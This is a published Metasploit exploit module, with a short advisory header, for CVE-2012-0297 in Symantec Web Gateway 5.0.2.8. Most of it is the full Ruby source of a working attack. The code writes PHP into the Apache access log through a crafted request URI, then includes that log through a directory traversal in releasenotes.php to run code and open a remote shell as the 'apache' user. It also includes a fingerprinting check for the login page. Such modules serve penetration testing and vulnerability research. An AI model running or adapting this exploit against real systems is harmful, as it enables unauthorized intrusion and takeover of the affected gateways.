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Symantec Web Gateway 5.0.2.8 Command Execution

Symantec Web Gateway 5.0.2.8 Command Execution
Posted May 28, 2012
Authored by unknown, muts, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in Symantec Web Gateway's HTTP service. By injecting PHP code in the access log, it is possible to load it with a directory traversal flaw, which allows remote code execution under the context of 'apache'. Please note that it may take up to several minutes to retrieve access_log, which is about the amount of time required to see a shell back.

tags | exploit, remote, web, shell, php, code execution
advisories | CVE-2012-0297
SHA-256 | 65a7306dea41b299aa10904fe0da0ef4f8feaaf8b06f2b42c12431d74226ce63

Symantec Web Gateway 5.0.2.8 Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
service. By injecting PHP code in the access log, it is possible to load it
with a directory traversal flaw, which allows remote code execution under the
context of 'apache'. Please note that it may take up to several minutes to
retrieve access_log, which is about the amount of time required to see a shell
back.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', #Discovery
'muts', #PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-0297'],
['EDB', '18932'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'WfsDelay' => 300, #5 minutes
'DisablePayloadHandler' => 'false',
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})

if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end


def exploit
peer = "#{rhost}:#{rport}"

php = %Q|<?php #{payload.encoded} ?>|

# Inject PHP to log
print_status("#{peer} - Injecting PHP to log...")
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{php}"
})

select(nil, nil, nil, 1)

# Use the directory traversal to load the PHP code
# access_log takes a long time to retrieve
print_status("#{peer} - Loading PHP code..")
send_request_raw({
'method' => 'GET',
'uri' => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
})

print_status("#{peer} - Waiting for a session, may take some time...")

select(nil, nil, nil, 1)

handler
end
end
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